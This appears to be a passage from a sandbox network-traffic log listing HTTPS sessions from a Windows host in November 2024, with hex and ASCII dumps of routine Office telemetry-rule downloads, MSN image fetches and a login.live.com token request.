3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:03 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:03 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:03 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200603Z-185f5d8b95c5lcmhhC1NYCsnsw0000000av0000000006yah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49912	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:04 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:06:05 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=329734 Expires: Sun, 24 Nov 2024 15:41:38 GMT Date: Wed, 20 Nov 2024 20:06:04 GMT Connection: close
2024-11-20 20:06:05 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:05 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:05 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200605Z-178bfbc474bscnbchC1NYCe7eg00000000h000000000mqn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:05 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:05 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200605Z-178bfbc474bq2pr7hC1NYCkfgg00000000h000000000k3md x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:05 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:05 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a8ea751-101e-007a-417b-3b047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200605Z-185f5d8b95crwqd8hC1NYCps680000000ap000000000xmxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:05 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:06 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200605Z-185f5d8b95c9mqtvhC1NYCghtc0000000ap0000000018pc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:06 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49915	40.126.53.18	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-20 20:06:05 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 20:06:06 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 20:05:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: cbd4b428-ea3f-45d3-83e1-b6b093626ac0 PPServer: PPV: 30 H: SN1PEPF0003F95B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 20:06:05 GMT Connection: close Content-Length: 1918
2024-11-20 20:06:06 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.7	49918	104.117.182.27	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:06 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 20:06:06 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=328752 Expires: Sun, 24 Nov 2024 15:25:18 GMT Date: Wed, 20 Nov 2024 20:06:06 GMT Connection: close
2024-11-20 20:06:06 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:07 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:07 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 7865c287-e01e-003c-7664-3bc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200607Z-178bfbc474bnwsh4hC1NYC2ubs00000000m00000000057vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 20:06:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:07 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:07 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:07 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 46934538-601e-0050-507b-3b2c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200607Z-185f5d8b95cdtclvhC1NYC4rmc0000000aqg00000001e1xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 20:06:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:06:07 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 20:06:08 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:06:08 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 64a4ee2c-301e-0099-6775-3b6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T200608Z-178bfbc474btvfdfhC1NYCa2en00000000mg000000003zm4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
